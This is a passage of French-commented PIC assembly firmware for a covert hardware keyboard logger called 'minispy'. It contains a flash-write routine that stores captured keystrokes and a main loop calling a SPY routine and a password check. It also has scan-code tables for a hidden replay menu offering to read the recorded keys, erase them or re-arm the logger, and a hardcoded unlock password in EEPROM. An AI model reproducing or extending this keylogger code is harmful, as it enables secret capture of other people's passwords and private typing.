STATUS,RP1 movf DATAH,w bsf STATUS,RP1 movwf EEDATH bcf STATUS,RP1 movf FlashADR,w ; charger pointeur haut bsf STATUS,RP1 movwf EEADR bcf STATUS,RP1 movf FlashADRH,w bsf STATUS,RP1 movwf EEADRH ; sauver dans pointeur LSB bsf STATUS,RP0 ; pointer banque 3 bsf EECON1,EEPGD ; pour écriture en mémoire programme bsf EECON1,WREN ; autorisation d'écriture movlw 0x55 ; début de la séquence d'écriture movwf EECON2 ; commande 0x55 movlw 0xAA ; pour commande 0xAA movwf EECON2 ; envoyer commande bsf EECON1,WR ; écrire nop ; instruction ignorée nop ; instruction ignorée btfsc EECON1,WR goto $-1 bcf EECON1,WREN ; verrouiller écritures bcf STATUS,RP0 bcf STATUS,RP1 ; BACK BANK 0 return ;******************************************************************************************* ;* PROGRAMME PRINCIPAL * ;******************************************************************************************* Main movlw 0xFF movwf passcmpt boubou3 call CODETEMPO decfsz passcmpt,f goto boubou3 reset movlw 0x2E call LireEprom xorlw 0xFF btfss STATUS,Z bcf Flags,0 ; mise en arret l'enregistrement car c en mem movlw 0x00 movwf texteh movlw 0x10 movwf texte ; INITIALISATION POINTEUR DEBUT ENREGISTREMENT OctetNext call Flash xorlw 0xff btfsc STATUS,Z goto EndRead incf BackL,f incf texte,f btfss STATUS,Z goto OctetNext incf BackH,f incf texteh,f goto OctetNext EndRead movf BackL,w movwf FlashADR movf BackH,w bcf STATUS,RP0 movwf FlashADRH ; DEMARRAGE MACHINE INSCRIPTION ********* movlw 0x80 movwf Visucmpt call EcrireEPROM incf FlashADR,f btfsc STATUS,Z incf FlashADRH,f movlw 0x10 xorwf FlashADRH,w btfsc STATUS,Z bsf Flags,0 ; GO *********************************** start call SPY call VerifPassword call AffichEntete call Choix movlw 0x5A call KEY call KEY movlw 0x0d movwf texteh movlw 0x90 movwf texte call Lire movlw 0x5A call KEY call KEY goto start ;***************************************************************************** ; DONNNEES DES TEXTES * ;***************************************************************************** ORG 0x1800 DA 0x29,0x2e,0x21,0x2c,0x2d,0x4b,0x29,0xff ; (crtl + espace DA 0x4e,0x29,0xff ; 808 = )+espace ORG 0x1810 DA 0x29,0x2e,0x24,0x1b,0x21,0xff ; (esc + ;ORG 0x81a ;DA 0x29,0x2e,0x1b,0x33,0x43,0x2b,0x2c,0x29,0xff ; (shift + ORG 0x1825 DA 0x29,0x2e,0x15,0x4b,0x2c,0x29,0xff ;(alt + ORG 0x182d DA 0x29,0x2e,0x58,0x2b,0x58,0x69,0xff ; F1 ORG 0x1835 DA 0x29,0x2e,0x58,0x2b,0x58,0x72,0xff ; F2 ORG 0x183d DA 0x29,0x2e,0x58,0x2b,0x58,0x7a,0xff ; F3 ORG 0x1844 DA 0x29,0x2e,0x58,0x2b,0x58,0x6b,0xff ; F4 ORG 0x184c DA 0x29,0x2e,0x58,0x2b,0x58,0x73,0xff ; F5 ORG 0x1854 DA 0x29,0x2e,0x58,0x2b,0x58,0x74,0xff ; F6 ORG 0x185c DA 0x29,0x2e,0x58,0x2b,0x58,0x6c,0xff ; F7 ORG 0x1864 DA 0x29,0x2e,0x58,0x2b,0x58,0x75,0x4e,0xff ; F8 ORG 0x186c DA 0x29,0x2e,0x58,0x2b,0x58,0x7d,0xff ; F9 ORG 0x1874 DA 0x29,0x2e,0x58,0x2b,0x58,0x69,0x70,0xff ; F10 ORG 0x187c DA 0x29,0x2e,0x58,0x2b,0x58,0x69,0x69,0xff ; F11 ORG 0x1884 DA 0x29,0x2e,0x58,0x2b,0x58,0x69,0x72,0xff ; F12 ORG 0x1890 DA 0x29,0x2e,0x24,0x31,0x2c,0x2d,0x1e,0x24,0x4e,0x5a,0xff ; (entrée + ORG 0x18a0 DA 0x29,0x2e,0x15,0x2d,0x2d,0x24,0x2c,0x29,0x23,0x1e,0x2b,0x43,0x4b,0xff ; (arret défil + ORG 0x18B2 DA 0x29,0x2e,0x2c,0x15,0x32,0xff ; (tab + ;ORG 0x8C0 ;DA 0x29,0x2e,0x21,0x15,0x4d,0x1b,0x4b,0x44,0x21,0x42,0x29,0xff ; (capslock + ORG 0x18D0 DA 0x29,0x2e,0x31,0x3c,0x4c,0x29,0xff ; (num + ORG 0x18E0 DA 0x5A,0x5A,0x7b,0x29,0x23,0x1e,0x4c,0x15,0x2d,0x2d,0x15,0x34,0x24,0x29,0x4c,0x15,0x21,0x33,0x43,0x31,0x24,0x71,0x5a,0x5a,0xff ; - démarrage machine. ;********************************************* les E0/ TA ORG 0x1900 DA 0x29,0x2e,0x21,0x2c,0x2d,0x4b,0x29,0xff ; (crtl + espace ORG 0x190C DA 0x4e,0x29,0xff ; ) en 90c ORG 0x1910 DA 0x29,0x2e,0x4d,0x15,0x34,0x24,0x23,0x1a,0xff ; (pagedw + ORG 0x1919 DA 0x29,0x2e,0x4d,0x15,0x34,0x24,0x3c,0x4d,0xff ; (pageup + ORG 0x1922 DA 0x29,0x2e,0x43,0x31,0x1b,0x24,0x2d,0xff ; (inser + ORG 0x1930 DA 0x29,0x2e,0x1B,0x4d,0x4d,0x2d,0x71,0xff ; (suppr. + ORG 0x1940 DA 0x29,0x2e,0x43,0x4c,0x4d,0x2d,0x71,0x29,0x1e,0x21,0x2d,0x15,0x31,0x4e,0x29,0xff ; (imprime ecran) + ORG 0x1954 DA 0x29,0x2e,0x4d,0x15,0x3c,0x1b,0x24,0x4e,0x29,0xff ; (pause) + ORG 0x1960 DA 0x29,0x2e,0x33,0x44,0x4c,0x24,0xff ; (home + ORG 0x1970 DA 0x29,0x58,0x2e,0x58,0x2b,0x43,0x31,0xff ; (fin + ;ORG 0x1980 ;DA 0x29,0x2e,0x15,0x4b,0x2c,0x7b,0x34,0x2d,0x29,0xff ; (alt-gr + ORG 0x1990 DA 0x29,0x2e,0x24,0x31,0x2c,0x2d,0x1e,0x24,0x4e,0x5a,0xff ; (entrée + ORG 0x199b DA 0x29,0x2E,0x1a,0x43,0x31,0x23,0x44,0x1a,0x1b,0x29,0xff ;(win + ORG 0x19a7 DA 0x29,0x2e,0x2b,0x4b,0x24,0x21,0x33,0x24,0x29,0x23,0xff ; fleche d ORG 0x19b2 DA 0x29,0x2e,0x2b,0x4b,0x24,0x21,0x33,0x24,0x29,0x33,0xff ; fleche h ORG 0x19c0 DA 0x29,0x2e,0x2b,0x4b,0x24,0x21,0x33,0x24,0x29,0x32,0xff ; fleche b ORG 0x19d0 DA 0x29,0x2e,0x4d,0x44,0x1a,0x24,0x2d,0xff ; (power + ORG 0x19d8 DA 0x29,0x2e,0x2b,0x4b,0x24,0x21,0x33,0x24,0x29,0x34,0xff ; fleche g ORG 0x19e3 DA 0x29,0x2e,0x1b,0x4b,0x24,0x24,0x4d,0xff ; (sleep + ORG 0x19f0 DA 0x29,0x2e,0x1a,0x15,0x42,0x24,0x29,0xff ; (wake + ;**************************************************************************************************************************** ;**************************************************************************************************************************** ;**************************************************************************************************************************** ORG 0x1a6b ; début des data en fin de programme DA 0x0D,0x0D,0x29,0x29,0x15,0x4d,0x4d,0x3c,0x35,0x24,0x1d ; 2tab + 2s appuyez DA 0x29 DA 0x1B,0x3C,0x2D ; sur DA 0x29 DA 0x4B,0x15 ; la DA 0x29 DA 0x2C,0x44,0x3C,0x21,0x33,0x24 ; touche DA 0x29 DA 0x24,0x1B,0x4D,0x15,0x21,0x24 ; espace DA 0x29 DA 0x4D,0x44,0x3C,0x2D ; pour DA 0x29 DA 0x2D,0x24,0x2A,0x24,0x31,0x43,0x2D ; revenir DA 0x29 DA 0x15,0x3C ; au DA 0x29 DA 0x1B,0x44,0x4C,0x4C,0x15,0x43,0x2D,0x24 ; sommaire DA 0x5A ; return DA 0xFF ORG 0x1ab5 DA 0x0D,0x0D,0x0d,0x24,0x31,0X2c,0x2D,0x24,0x1D ; entrez DA 0x29 DA 0x2A,0x44,0x2C,0x2D,0x24 ; votre DA 0x29 DA 0x31,0x44,0x3C,0x2A,0x24,0x4b,0x4b,0x24 ; nouvelle DA 0x29 DA 0x21,0x4b,0x1e,0x29,0x23,0x25,0x15,0x21,0x2c,0x43,0x2a,0x15,0x2c,0x43,0x44,0x31 ; clé d'activation DA 0x29,0x49,0x29 ; : DA 0xFF ORG 0x1af0 DA 0x0D,0x0D,0x29,0x29,0x29,0x24,0x31,0x2C,0x2D,0x24,0x1D ; entrez DA 0x29 DA 0x4B,0x24 DA 0x29 DA 0x4C,0x44,0x2C,0x29,0x23,0x24,0x29,0x4D,0x15,0x1B,0x1B,0x24 ; mot de passe DA 0x29,0x49,0x29 ; : DA 0xFF ORG 0x1b20 DA 0x0d,0x0d,0x0d,0x2A,0x44,0x2C,0x2D,0x24 ; votre DA 0x29 DA 0x31,0x44,0x3C,0x2A,0x24,0x4b,0x4b,0x24 ; nouvelle DA 0x29 DA 0x21,0x4b,0x1e,0x29,0x23,0x25,0x15,0x21,0x2c,0x43,0x2a,0x15,0x2c,0x43,0x44,0x31 ; clé d'activation DA 0x29,0x24,0x1B,0x2C,0x29,0x49,0x29 ; est : DA 0xFF ORG 0x1b70 DA 0x0D,0x0D,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C ; 57 etoiles DA 0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C DA 0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C DA 0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C DA 0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C DA 0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x5A DA 0xFF ORG 0x1bd0 DA 0x0D,0x0D,0x7C,0x0D,0x0D,0x0D ; * + 3tab DA 0x4c,0x43,0x31,0x43,0x1B,0x4D,0x35,0x29,0x2A,0x29,0x69,0x71,0x70 ; minispy v 0.93 DA 0x0D,0x0D,0x0D,0x7c ; 3tab+ * DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D ; * + 2tab DA 0x29,0x29,0x29,0x29,0x29 DA 0x21,0x2D,0x1e,0x24,0x29,0x4d,0x15,0x2D,0x29,0x4d,0x71,0x2D,0x15,0x1B,0x4D,0x43,0x31,0x44 ; crée par p.raspino DA 0x0D,0x0D,0x0D,0x7c,0x5A ; 3tab+ * DA 0xFF ORG 0x1c30 DA 0x0D,0x0D,0x7C,0x0D,0x0D,0x0d,0x1B,0x44,0x4C,0x4C,0x15,0x43,0x2D,0x24,0x0d,0x0d,0x0d,0x7c ; sommaire DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D,0x0D,0x0D,0x0D,0x0D,0x0d,0x7C ; * + 7tab + * DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D,0x0D,0x0D,0x0D,0x0D,0x0d,0x7C ; * + 7tab + * DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D ; * + 2tab DA 0x69,0x29,0x7B,0x29,0x4B,0x43,0x2D,0x24,0x29,0x4B,0x24,0x29,0x1B,0x4D,0x35,0x42,0x24,0x35 ; lire le spykey DA 0x0D,0x0D,0x0D,0x7c ; 3tab+ * DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D ; * + 2tab DA 0x72,0x29,0x7B,0x29,0x24,0x2B,0x2B,0x15,0x21,0x24,0x2D,0x29,0x4B,0x15,0x29,0x4C,0x1e,0x4C,0x44,0x43,0x2D,0x24 ; effacer la mémoire DA 0x0D,0x0D,0x0D,0x7c ; 3tab+ * DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D ; * + 2tab DA 0x7A,0x29,0x7B,0x29,0x21,0x33,0x15,0x31,0x34,0x24,0x2D,0x29,0x4b,0x15,0x29 ; 3 changer la DA 0x21,0x4b,0x1e,0x29,0x23,0x25,0x15,0x21,0x2c,0x43,0x2a,0x15,0x2c,0x43,0x44,0x31 ; clé d'activation DA 0x0D,0x0D,0x7c ; 3tab+ * DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D ; * + 2tab DA 0x6B,0x29,0x7B,0x29,0x2D,0x1e,0x15,0x21,0x2c,0x43,0x2a,0x24,0x2d,0x29,0x4b,0x24,0x29,0x4c,0x43,0x31,0x43,0x1B,0x4D,0x35 ; réactiver le minispy DA 0x29,0x24,0x2c,0x29,0x1c,0x3c,0x43,0x2c,0x2c,0x24,0x2d ; et quitter DA 0x0D,0x7c ; 3tab+ * DA 0x5A DA 0x0D,0x0D,0x7C,0x0D,0x0D,0x0D,0x0D,0x0D,0x0D,0x0d,0x7C,0x5A ; * + 7tab + * DA 0xFF ORG 0x1d20 DA 0x5A,0x5A DA 0x0D,0x0D,0x0D,0x0D,0x29,0x29,0x29,0x29 DA 0x2a,0x44,0x2c,0x2d,0x24,0x29,0x21,0x33,0x44,0x43,0x22,0x29,0x49,0x29 ; votre choix : DA 0xFF ORG 0x1d60 DA 0x0D,0x0D,0x0D,0x0D DA 0x24,0x2B,0x2B,0x15,0x21,0x24,0x4C,0x24,0x31,0x2C,0x29,0x4C,0x24,0x4C,0x44,0x43,0x2D,0x24,0x29 ; effacement memoire DA 0x24,0x31,0x29,0x21,0x44,0x3C,0x2D,0x1B ; en cours DA 0xFF ORG 0x1d90 DA 0x0D,0x0D,0x0D,0x0D DA 0x7B,0x7B,0x29 DA 0x29,0x29,0x2B,0x43,0x31,0x29,0x23,0x24,0x29,0x2C,0x2D,0x15,0x43,0x2C,0x24,0x4C,0x24,0x31,0x2C,0x29,0x7B,0x7B,0x5A,0x5A ; fin de traitement DA 0xFF ORG 0x1dc0 DA 0x5A DA 0x0D,0x0D,0x0D,0x0D DA 0x7B,0x29,0x21,0x15,0x2d,0x15,0x21,0x2c,0x3d,0x2d DA 0x24,0x29,0x43,0x31,0x2c,0x24,0x2d,0x23,0x43,0x2c,0x29,0x7b,0x5a,0x5a ; caractère interdit DA 0x0D,0x0D,0x0D,0x0D DA 0x2a,0x24,0x3c,0x43,0x4b,0x4b,0x24,0x1d,0x29 ; veuillez DA 0x2D,0x24,0x21,0x44,0x4c,0x4c,0x24,0x31,0x21,0x24,0x2d ; recommencer DA 0x29,0x4a,0x5a,0xff ;************************************************* ;* MEMOIRE EEPROM, PASSWORD * ;************************************************* ORG 0x2100 ;MEMOIRE DES TOUCHES DE 0x29,0x29,0x29,0x29 ;essa DE 0x29,0x29,0x29,0x29 ;i de DE 0x29,0x29,0x29,0x29 ; lec DE 0x29,0x29,0x29,0x29 ;ture DE 0x29,0x29,0x29,0x29 ; ! DE 0x29,0x29,0x29,0x29 DE 0x29,0x29,0x29,0x29 DE 0x29,0x29,0x29,0x29 DE 0x29,0x29,0x29,0x29 DE 0x29,0x29,0x29,0x29 ;ESPACE PASSWORD 6 CARACTERES DE 0x21,0x15,0x21,0x15,0x21,0x15 ; C A C A c A DE 0x00,0x00,0x00,0x00,0x00,0x00 ; STOP (46) en hexa -> 2E END